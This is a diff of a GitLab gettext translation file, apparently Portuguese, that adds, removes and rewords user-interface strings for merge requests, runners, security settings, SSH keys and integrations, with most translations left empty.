@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr "Novo objetivo"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr "Repor os minutos de pipeline que foram usados"
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
